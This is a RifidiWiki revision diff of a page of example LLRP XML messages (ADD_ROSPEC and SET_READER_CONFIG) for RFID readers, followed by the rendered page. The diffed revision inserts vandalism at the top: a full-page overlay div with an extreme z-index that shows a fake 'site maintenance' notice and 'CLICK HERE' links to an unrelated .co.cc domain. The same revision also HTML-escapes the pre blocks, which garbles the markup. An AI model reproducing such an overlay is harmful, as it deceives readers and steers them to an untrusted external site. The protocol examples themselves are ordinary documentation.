Difference between revisions of "LLRP XML Messages"

From RifidiWiki

Jump to: navigation, search
(Description)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://odygobyciqi.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://odygobyciqi.co.cc CLICK HERE]=
 +
----
 +
</div>
 
This page contains a collection of example XML Messages that can be sent to an [[LLRP Reader]].   
 
This page contains a collection of example XML Messages that can be sent to an [[LLRP Reader]].   
  
Line 7: Line 15:
 
This is a simple rospec with a null start and stop triggers.  It has one AISpec with a null stop trigger.  In order to execute this rospec, you will need to send an ENABLE_ROSPEC, and a START_ROSPC.  In addition, you will need to set up reporting parameters using a SET_READER_CONFIG
 
This is a simple rospec with a null start and stop triggers.  It has one AISpec with a null stop trigger.  In order to execute this rospec, you will need to send an ENABLE_ROSPEC, and a START_ROSPC.  In addition, you will need to set up reporting parameters using a SET_READER_CONFIG
 
===Message===
 
===Message===
<pre>
+
&lt;pre&gt;
  
     <ADD_ROSPEC Version="1" MessageID="0">
+
     &lt;ADD_ROSPEC Version=&quot;1&quot; MessageID=&quot;0&quot;&gt;
       <ROSpec>
+
       &lt;ROSpec&gt;
         <ROSpecID>1</ROSpecID>
+
         &lt;ROSpecID&gt;1&lt;/ROSpecID&gt;
         <Priority>0</Priority>
+
         &lt;Priority&gt;0&lt;/Priority&gt;
         <CurrentState>Disabled</CurrentState>
+
         &lt;CurrentState&gt;Disabled&lt;/CurrentState&gt;
         <ROBoundarySpec>
+
         &lt;ROBoundarySpec&gt;
           <ROSpecStartTrigger>
+
           &lt;ROSpecStartTrigger&gt;
             <ROSpecStartTriggerType>Null</ROSpecStartTriggerType>
+
             &lt;ROSpecStartTriggerType&gt;Null&lt;/ROSpecStartTriggerType&gt;
           </ROSpecStartTrigger>
+
           &lt;/ROSpecStartTrigger&gt;
           <ROSpecStopTrigger>
+
           &lt;ROSpecStopTrigger&gt;
             <ROSpecStopTriggerType>Null</ROSpecStopTriggerType>
+
             &lt;ROSpecStopTriggerType&gt;Null&lt;/ROSpecStopTriggerType&gt;
             <DurationTriggerValue>1000</DurationTriggerValue>
+
             &lt;DurationTriggerValue&gt;1000&lt;/DurationTriggerValue&gt;
           </ROSpecStopTrigger>
+
           &lt;/ROSpecStopTrigger&gt;
         </ROBoundarySpec>
+
         &lt;/ROBoundarySpec&gt;
         <AISpec>
+
         &lt;AISpec&gt;
           <AntennaIDs>1</AntennaIDs>
+
           &lt;AntennaIDs&gt;1&lt;/AntennaIDs&gt;
           <AISpecStopTrigger>
+
           &lt;AISpecStopTrigger&gt;
             <AISpecStopTriggerType>Null</AISpecStopTriggerType>
+
             &lt;AISpecStopTriggerType&gt;Null&lt;/AISpecStopTriggerType&gt;
             <DurationTrigger>1000</DurationTrigger>
+
             &lt;DurationTrigger&gt;1000&lt;/DurationTrigger&gt;
           </AISpecStopTrigger>
+
           &lt;/AISpecStopTrigger&gt;
           <InventoryParameterSpec>
+
           &lt;InventoryParameterSpec&gt;
             <InventoryParameterSpecID>2</InventoryParameterSpecID>
+
             &lt;InventoryParameterSpecID&gt;2&lt;/InventoryParameterSpecID&gt;
             <ProtocolID>EPCGlobalClass1Gen2</ProtocolID>
+
             &lt;ProtocolID&gt;EPCGlobalClass1Gen2&lt;/ProtocolID&gt;
           </InventoryParameterSpec>
+
           &lt;/InventoryParameterSpec&gt;
         </AISpec>
+
         &lt;/AISpec&gt;
       </ROSpec>
+
       &lt;/ROSpec&gt;
     </ADD_ROSPEC>
+
     &lt;/ADD_ROSPEC&gt;
  
</pre>
+
&lt;/pre&gt;
  
 
==Message 2==
 
==Message 2==
Line 43: Line 51:
 
This ROSpec is a little more complicated than the previous one.  Its start trigger is perdiodic; In this case, it will start 500ms after it is added.  It then a start trigger will fire for it every 5 seconds after the initial start trigger.  Its start trigger is duration.  This means a stop trigger will fire for it every 2 seconds after it begins.  This ROSpec also contains a ROReportSpec that defines what the reports should look like and when they should come back.
 
This ROSpec is a little more complicated than the previous one.  Its start trigger is perdiodic; In this case, it will start 500ms after it is added.  It then a start trigger will fire for it every 5 seconds after the initial start trigger.  Its start trigger is duration.  This means a stop trigger will fire for it every 2 seconds after it begins.  This ROSpec also contains a ROReportSpec that defines what the reports should look like and when they should come back.
 
===Message===
 
===Message===
<pre>
+
&lt;pre&gt;
     <ADD_ROSPEC Version="1" MessageID="0">
+
     &lt;ADD_ROSPEC Version=&quot;1&quot; MessageID=&quot;0&quot;&gt;
       <ROSpec>
+
       &lt;ROSpec&gt;
         <ROSpecID>1</ROSpecID>
+
         &lt;ROSpecID&gt;1&lt;/ROSpecID&gt;
         <Priority>0</Priority>
+
         &lt;Priority&gt;0&lt;/Priority&gt;
         <CurrentState>Disabled</CurrentState>
+
         &lt;CurrentState&gt;Disabled&lt;/CurrentState&gt;
         <ROBoundarySpec>
+
         &lt;ROBoundarySpec&gt;
           <ROSpecStartTrigger>
+
           &lt;ROSpecStartTrigger&gt;
             <ROSpecStartTriggerType>Periodic</ROSpecStartTriggerType>
+
             &lt;ROSpecStartTriggerType&gt;Periodic&lt;/ROSpecStartTriggerType&gt;
             <PeriodicTriggerValue>
+
             &lt;PeriodicTriggerValue&gt;
               <Offset>500</Offset>
+
               &lt;Offset&gt;500&lt;/Offset&gt;
               <Period>5000</Period>
+
               &lt;Period&gt;5000&lt;/Period&gt;
             </PeriodicTriggerValue>
+
             &lt;/PeriodicTriggerValue&gt;
           </ROSpecStartTrigger>
+
           &lt;/ROSpecStartTrigger&gt;
           <ROSpecStopTrigger>
+
           &lt;ROSpecStopTrigger&gt;
             <ROSpecStopTriggerType>Duration</ROSpecStopTriggerType>
+
             &lt;ROSpecStopTriggerType&gt;Duration&lt;/ROSpecStopTriggerType&gt;
             <DurationTriggerValue>2000</DurationTriggerValue>
+
             &lt;DurationTriggerValue&gt;2000&lt;/DurationTriggerValue&gt;
           </ROSpecStopTrigger>
+
           &lt;/ROSpecStopTrigger&gt;
         </ROBoundarySpec>
+
         &lt;/ROBoundarySpec&gt;
         <AISpec>
+
         &lt;AISpec&gt;
           <AntennaIDs>1</AntennaIDs>
+
           &lt;AntennaIDs&gt;1&lt;/AntennaIDs&gt;
           <AISpecStopTrigger>
+
           &lt;AISpecStopTrigger&gt;
             <AISpecStopTriggerType>Null</AISpecStopTriggerType>
+
             &lt;AISpecStopTriggerType&gt;Null&lt;/AISpecStopTriggerType&gt;
             <DurationTrigger>1000</DurationTrigger>
+
             &lt;DurationTrigger&gt;1000&lt;/DurationTrigger&gt;
           </AISpecStopTrigger>
+
           &lt;/AISpecStopTrigger&gt;
           <InventoryParameterSpec>
+
           &lt;InventoryParameterSpec&gt;
             <InventoryParameterSpecID>2</InventoryParameterSpecID>
+
             &lt;InventoryParameterSpecID&gt;2&lt;/InventoryParameterSpecID&gt;
             <ProtocolID>EPCGlobalClass1Gen2</ProtocolID>
+
             &lt;ProtocolID&gt;EPCGlobalClass1Gen2&lt;/ProtocolID&gt;
           </InventoryParameterSpec>
+
           &lt;/InventoryParameterSpec&gt;
         </AISpec>
+
         &lt;/AISpec&gt;
         <ROReportSpec>
+
         &lt;ROReportSpec&gt;
           <ROReportTrigger>Upon_N_Tags_Or_End_Of_ROSpec</ROReportTrigger>
+
           &lt;ROReportTrigger&gt;Upon_N_Tags_Or_End_Of_ROSpec&lt;/ROReportTrigger&gt;
           <N>0</N>
+
           &lt;N&gt;0&lt;/N&gt;
           <TagReportContentSelector>
+
           &lt;TagReportContentSelector&gt;
             <EnableROSpecID>false</EnableROSpecID>
+
             &lt;EnableROSpecID&gt;false&lt;/EnableROSpecID&gt;
             <EnableSpecIndex>false</EnableSpecIndex>
+
             &lt;EnableSpecIndex&gt;false&lt;/EnableSpecIndex&gt;
             <EnableInventoryParameterSpecID>false</EnableInventoryParameterSpecID>
+
             &lt;EnableInventoryParameterSpecID&gt;false&lt;/EnableInventoryParameterSpecID&gt;
             <EnableAntennaID>true</EnableAntennaID>
+
             &lt;EnableAntennaID&gt;true&lt;/EnableAntennaID&gt;
             <EnableChannelIndex>false</EnableChannelIndex>
+
             &lt;EnableChannelIndex&gt;false&lt;/EnableChannelIndex&gt;
             <EnablePeakRSSI>false</EnablePeakRSSI>
+
             &lt;EnablePeakRSSI&gt;false&lt;/EnablePeakRSSI&gt;
             <EnableFirstSeenTimestamp>false</EnableFirstSeenTimestamp>
+
             &lt;EnableFirstSeenTimestamp&gt;false&lt;/EnableFirstSeenTimestamp&gt;
             <EnableLastSeenTimestamp>false</EnableLastSeenTimestamp>
+
             &lt;EnableLastSeenTimestamp&gt;false&lt;/EnableLastSeenTimestamp&gt;
             <EnableTagSeenCount>true</EnableTagSeenCount>
+
             &lt;EnableTagSeenCount&gt;true&lt;/EnableTagSeenCount&gt;
             <EnableAccessSpecID>true</EnableAccessSpecID>
+
             &lt;EnableAccessSpecID&gt;true&lt;/EnableAccessSpecID&gt;
             <C1G2EPCMemorySelector>
+
             &lt;C1G2EPCMemorySelector&gt;
               <EnableCRC>false</EnableCRC>
+
               &lt;EnableCRC&gt;false&lt;/EnableCRC&gt;
               <EnablePCBits>false</EnablePCBits>
+
               &lt;EnablePCBits&gt;false&lt;/EnablePCBits&gt;
             </C1G2EPCMemorySelector>
+
             &lt;/C1G2EPCMemorySelector&gt;
           </TagReportContentSelector>
+
           &lt;/TagReportContentSelector&gt;
         </ROReportSpec>
+
         &lt;/ROReportSpec&gt;
       </ROSpec>
+
       &lt;/ROSpec&gt;
     </ADD_ROSPEC>
+
     &lt;/ADD_ROSPEC&gt;
</pre>
+
&lt;/pre&gt;
  
 
=SET_READER_CONFIG=
 
=SET_READER_CONFIG=
Line 102: Line 110:
 
This is a SET_READER_CONFIG message that sets up Event Reporting and defines what the ROReports should look like using a ROReportSpec parameter.  The ROReports can be set up in ROSpec parameter itself.  If a ROReportSpec is defined both globally (using a SET_READER_CONFIG message) and in a particular rospec, the one defined in the ROSpec will shadow the global one.
 
This is a SET_READER_CONFIG message that sets up Event Reporting and defines what the ROReports should look like using a ROReportSpec parameter.  The ROReports can be set up in ROSpec parameter itself.  If a ROReportSpec is defined both globally (using a SET_READER_CONFIG message) and in a particular rospec, the one defined in the ROSpec will shadow the global one.
 
===Message===
 
===Message===
<pre>
+
&lt;pre&gt;
     <SET_READER_CONFIG Version="1" MessageID="0">
+
     &lt;SET_READER_CONFIG Version=&quot;1&quot; MessageID=&quot;0&quot;&gt;
       <ResetToFactoryDefault>false</ResetToFactoryDefault>
+
       &lt;ResetToFactoryDefault&gt;false&lt;/ResetToFactoryDefault&gt;
       <ReaderEventNotificationSpec>
+
       &lt;ReaderEventNotificationSpec&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>Upon_Hopping_To_Next_Channel</EventType>
+
           &lt;EventType&gt;Upon_Hopping_To_Next_Channel&lt;/EventType&gt;
           <NotificationState>false</NotificationState>
+
           &lt;NotificationState&gt;false&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>GPI_Event</EventType>
+
           &lt;EventType&gt;GPI_Event&lt;/EventType&gt;
           <NotificationState>true</NotificationState>
+
           &lt;NotificationState&gt;true&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>ROSpec_Event</EventType>
+
           &lt;EventType&gt;ROSpec_Event&lt;/EventType&gt;
           <NotificationState>true</NotificationState>
+
           &lt;NotificationState&gt;true&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>Report_Buffer_Fill_Warning</EventType>
+
           &lt;EventType&gt;Report_Buffer_Fill_Warning&lt;/EventType&gt;
           <NotificationState>false</NotificationState>
+
           &lt;NotificationState&gt;false&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>Reader_Exception_Event</EventType>
+
           &lt;EventType&gt;Reader_Exception_Event&lt;/EventType&gt;
           <NotificationState>false</NotificationState>
+
           &lt;NotificationState&gt;false&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>RFSurvey_Event</EventType>
+
           &lt;EventType&gt;RFSurvey_Event&lt;/EventType&gt;
           <NotificationState>false</NotificationState>
+
           &lt;NotificationState&gt;false&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>AISpec_Event</EventType>
+
           &lt;EventType&gt;AISpec_Event&lt;/EventType&gt;
           <NotificationState>true</NotificationState>
+
           &lt;NotificationState&gt;true&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>AISpec_Event_With_Details</EventType>
+
           &lt;EventType&gt;AISpec_Event_With_Details&lt;/EventType&gt;
           <NotificationState>false</NotificationState>
+
           &lt;NotificationState&gt;false&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
         <EventNotificationState>
+
         &lt;EventNotificationState&gt;
           <EventType>Antenna_Event</EventType>
+
           &lt;EventType&gt;Antenna_Event&lt;/EventType&gt;
           <NotificationState>false</NotificationState>
+
           &lt;NotificationState&gt;false&lt;/NotificationState&gt;
         </EventNotificationState>
+
         &lt;/EventNotificationState&gt;
       </ReaderEventNotificationSpec>
+
       &lt;/ReaderEventNotificationSpec&gt;
       <ROReportSpec>
+
       &lt;ROReportSpec&gt;
         <ROReportTrigger>Upon_N_Tags_Or_End_Of_ROSpec</ROReportTrigger>
+
         &lt;ROReportTrigger&gt;Upon_N_Tags_Or_End_Of_ROSpec&lt;/ROReportTrigger&gt;
         <N>0</N>
+
         &lt;N&gt;0&lt;/N&gt;
         <TagReportContentSelector>
+
         &lt;TagReportContentSelector&gt;
           <EnableROSpecID>false</EnableROSpecID>
+
           &lt;EnableROSpecID&gt;false&lt;/EnableROSpecID&gt;
           <EnableSpecIndex>false</EnableSpecIndex>
+
           &lt;EnableSpecIndex&gt;false&lt;/EnableSpecIndex&gt;
           <EnableInventoryParameterSpecID>false</EnableInventoryParameterSpecID>
+
           &lt;EnableInventoryParameterSpecID&gt;false&lt;/EnableInventoryParameterSpecID&gt;
           <EnableAntennaID>true</EnableAntennaID>
+
           &lt;EnableAntennaID&gt;true&lt;/EnableAntennaID&gt;
           <EnableChannelIndex>false</EnableChannelIndex>
+
           &lt;EnableChannelIndex&gt;false&lt;/EnableChannelIndex&gt;
           <EnablePeakRSSI>false</EnablePeakRSSI>
+
           &lt;EnablePeakRSSI&gt;false&lt;/EnablePeakRSSI&gt;
           <EnableFirstSeenTimestamp>false</EnableFirstSeenTimestamp>
+
           &lt;EnableFirstSeenTimestamp&gt;false&lt;/EnableFirstSeenTimestamp&gt;
           <EnableLastSeenTimestamp>false</EnableLastSeenTimestamp>
+
           &lt;EnableLastSeenTimestamp&gt;false&lt;/EnableLastSeenTimestamp&gt;
           <EnableTagSeenCount>true</EnableTagSeenCount>
+
           &lt;EnableTagSeenCount&gt;true&lt;/EnableTagSeenCount&gt;
           <EnableAccessSpecID>true</EnableAccessSpecID>
+
           &lt;EnableAccessSpecID&gt;true&lt;/EnableAccessSpecID&gt;
           <C1G2EPCMemorySelector>
+
           &lt;C1G2EPCMemorySelector&gt;
             <EnableCRC>false</EnableCRC>
+
             &lt;EnableCRC&gt;false&lt;/EnableCRC&gt;
             <EnablePCBits>false</EnablePCBits>
+
             &lt;EnablePCBits&gt;false&lt;/EnablePCBits&gt;
           </C1G2EPCMemorySelector>
+
           &lt;/C1G2EPCMemorySelector&gt;
         </TagReportContentSelector>
+
         &lt;/TagReportContentSelector&gt;
       </ROReportSpec>
+
       &lt;/ROReportSpec&gt;
       <AccessReportSpec>
+
       &lt;AccessReportSpec&gt;
         <AccessReportTrigger>Whenever_ROReport_Is_Generated</AccessReportTrigger>
+
         &lt;AccessReportTrigger&gt;Whenever_ROReport_Is_Generated&lt;/AccessReportTrigger&gt;
       </AccessReportSpec>
+
       &lt;/AccessReportSpec&gt;
     </SET_READER_CONFIG>
+
     &lt;/SET_READER_CONFIG&gt;
</pre>
+
&lt;/pre&gt;
 
==Message 2==
 
==Message 2==
 
===Description===
 
===Description===
Line 173: Line 181:
  
 
===Message===
 
===Message===
<pre>
+
&lt;pre&gt;
     <SET_READER_CONFIG Version="1" MessageID="0">
+
     &lt;SET_READER_CONFIG Version=&quot;1&quot; MessageID=&quot;0&quot;&gt;
       <ResetToFactoryDefault>false</ResetToFactoryDefault>
+
       &lt;ResetToFactoryDefault&gt;false&lt;/ResetToFactoryDefault&gt;
       <GPIPortCurrentState>
+
       &lt;GPIPortCurrentState&gt;
         <GPIPortNum>1</GPIPortNum>
+
         &lt;GPIPortNum&gt;1&lt;/GPIPortNum&gt;
         <Config>true</Config>
+
         &lt;Config&gt;true&lt;/Config&gt;
         <State>Low</State>
+
         &lt;State&gt;Low&lt;/State&gt;
       </GPIPortCurrentState>
+
       &lt;/GPIPortCurrentState&gt;
     </SET_READER_CONFIG>
+
     &lt;/SET_READER_CONFIG&gt;
</pre>
+
&lt;/pre&gt;

Revision as of 23:11, 23 November 2010


This page contains a collection of example XML Messages that can be sent to an LLRP Reader.

ADD_ROSPEC

The ROSpec (Reader Operation Specification) defines how a reader should read tags.

Message 1

Description

This is a simple rospec with a null start and stop triggers. It has one AISpec with a null stop trigger. In order to execute this rospec, you will need to send an ENABLE_ROSPEC, and a START_ROSPC. In addition, you will need to set up reporting parameters using a SET_READER_CONFIG

Message

<pre>

   <ADD_ROSPEC Version="1" MessageID="0">
     <ROSpec>
       <ROSpecID>1</ROSpecID>
       <Priority>0</Priority>
       <CurrentState>Disabled</CurrentState>
       <ROBoundarySpec>
         <ROSpecStartTrigger>
           <ROSpecStartTriggerType>Null</ROSpecStartTriggerType>
         </ROSpecStartTrigger>
         <ROSpecStopTrigger>
           <ROSpecStopTriggerType>Null</ROSpecStopTriggerType>
           <DurationTriggerValue>1000</DurationTriggerValue>
         </ROSpecStopTrigger>
       </ROBoundarySpec>
       <AISpec>
         <AntennaIDs>1</AntennaIDs>
         <AISpecStopTrigger>
           <AISpecStopTriggerType>Null</AISpecStopTriggerType>
           <DurationTrigger>1000</DurationTrigger>
         </AISpecStopTrigger>
         <InventoryParameterSpec>
           <InventoryParameterSpecID>2</InventoryParameterSpecID>
           <ProtocolID>EPCGlobalClass1Gen2</ProtocolID>
         </InventoryParameterSpec>
       </AISpec>
     </ROSpec>
   </ADD_ROSPEC>

</pre>

Message 2

Description

This ROSpec is a little more complicated than the previous one. Its start trigger is perdiodic; In this case, it will start 500ms after it is added. It then a start trigger will fire for it every 5 seconds after the initial start trigger. Its start trigger is duration. This means a stop trigger will fire for it every 2 seconds after it begins. This ROSpec also contains a ROReportSpec that defines what the reports should look like and when they should come back.

Message

<pre>

   <ADD_ROSPEC Version="1" MessageID="0">
     <ROSpec>
       <ROSpecID>1</ROSpecID>
       <Priority>0</Priority>
       <CurrentState>Disabled</CurrentState>
       <ROBoundarySpec>
         <ROSpecStartTrigger>
           <ROSpecStartTriggerType>Periodic</ROSpecStartTriggerType>
           <PeriodicTriggerValue>
             <Offset>500</Offset>
             <Period>5000</Period>
           </PeriodicTriggerValue>
         </ROSpecStartTrigger>
         <ROSpecStopTrigger>
           <ROSpecStopTriggerType>Duration</ROSpecStopTriggerType>
           <DurationTriggerValue>2000</DurationTriggerValue>
         </ROSpecStopTrigger>
       </ROBoundarySpec>
       <AISpec>
         <AntennaIDs>1</AntennaIDs>
         <AISpecStopTrigger>
           <AISpecStopTriggerType>Null</AISpecStopTriggerType>
           <DurationTrigger>1000</DurationTrigger>
         </AISpecStopTrigger>
         <InventoryParameterSpec>
           <InventoryParameterSpecID>2</InventoryParameterSpecID>
           <ProtocolID>EPCGlobalClass1Gen2</ProtocolID>
         </InventoryParameterSpec>
       </AISpec>
       <ROReportSpec>
         <ROReportTrigger>Upon_N_Tags_Or_End_Of_ROSpec</ROReportTrigger>
         <N>0</N>
         <TagReportContentSelector>
           <EnableROSpecID>false</EnableROSpecID>
           <EnableSpecIndex>false</EnableSpecIndex>
           <EnableInventoryParameterSpecID>false</EnableInventoryParameterSpecID>
           <EnableAntennaID>true</EnableAntennaID>
           <EnableChannelIndex>false</EnableChannelIndex>
           <EnablePeakRSSI>false</EnablePeakRSSI>
           <EnableFirstSeenTimestamp>false</EnableFirstSeenTimestamp>
           <EnableLastSeenTimestamp>false</EnableLastSeenTimestamp>
           <EnableTagSeenCount>true</EnableTagSeenCount>
           <EnableAccessSpecID>true</EnableAccessSpecID>
           <C1G2EPCMemorySelector>
             <EnableCRC>false</EnableCRC>
             <EnablePCBits>false</EnablePCBits>
           </C1G2EPCMemorySelector>
         </TagReportContentSelector>
       </ROReportSpec>
     </ROSpec>
   </ADD_ROSPEC>

</pre>

SET_READER_CONFIG

Message 1

Description

This is a SET_READER_CONFIG message that sets up Event Reporting and defines what the ROReports should look like using a ROReportSpec parameter. The ROReports can be set up in ROSpec parameter itself. If a ROReportSpec is defined both globally (using a SET_READER_CONFIG message) and in a particular rospec, the one defined in the ROSpec will shadow the global one.

Message

<pre>

   <SET_READER_CONFIG Version="1" MessageID="0">
     <ResetToFactoryDefault>false</ResetToFactoryDefault>
     <ReaderEventNotificationSpec>
       <EventNotificationState>
         <EventType>Upon_Hopping_To_Next_Channel</EventType>
         <NotificationState>false</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>GPI_Event</EventType>
         <NotificationState>true</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>ROSpec_Event</EventType>
         <NotificationState>true</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>Report_Buffer_Fill_Warning</EventType>
         <NotificationState>false</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>Reader_Exception_Event</EventType>
         <NotificationState>false</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>RFSurvey_Event</EventType>
         <NotificationState>false</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>AISpec_Event</EventType>
         <NotificationState>true</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>AISpec_Event_With_Details</EventType>
         <NotificationState>false</NotificationState>
       </EventNotificationState>
       <EventNotificationState>
         <EventType>Antenna_Event</EventType>
         <NotificationState>false</NotificationState>
       </EventNotificationState>
     </ReaderEventNotificationSpec>
     <ROReportSpec>
       <ROReportTrigger>Upon_N_Tags_Or_End_Of_ROSpec</ROReportTrigger>
       <N>0</N>
       <TagReportContentSelector>
         <EnableROSpecID>false</EnableROSpecID>
         <EnableSpecIndex>false</EnableSpecIndex>
         <EnableInventoryParameterSpecID>false</EnableInventoryParameterSpecID>
         <EnableAntennaID>true</EnableAntennaID>
         <EnableChannelIndex>false</EnableChannelIndex>
         <EnablePeakRSSI>false</EnablePeakRSSI>
         <EnableFirstSeenTimestamp>false</EnableFirstSeenTimestamp>
         <EnableLastSeenTimestamp>false</EnableLastSeenTimestamp>
         <EnableTagSeenCount>true</EnableTagSeenCount>
         <EnableAccessSpecID>true</EnableAccessSpecID>
         <C1G2EPCMemorySelector>
           <EnableCRC>false</EnableCRC>
           <EnablePCBits>false</EnablePCBits>
         </C1G2EPCMemorySelector>
       </TagReportContentSelector>
     </ROReportSpec>
     <AccessReportSpec>
       <AccessReportTrigger>Whenever_ROReport_Is_Generated</AccessReportTrigger>
     </AccessReportSpec>
   </SET_READER_CONFIG>

</pre>

Message 2

Description

This Message will enable a GPI Port so that it can report changes to its state and be used as a stop or start trigger.

Message

<pre>

   <SET_READER_CONFIG Version="1" MessageID="0">
     <ResetToFactoryDefault>false</ResetToFactoryDefault>
     <GPIPortCurrentState>
       <GPIPortNum>1</GPIPortNum>
       <Config>true</Config>
       <State>Low</State>
     </GPIPortCurrentState>
   </SET_READER_CONFIG>

</pre>

Personal tools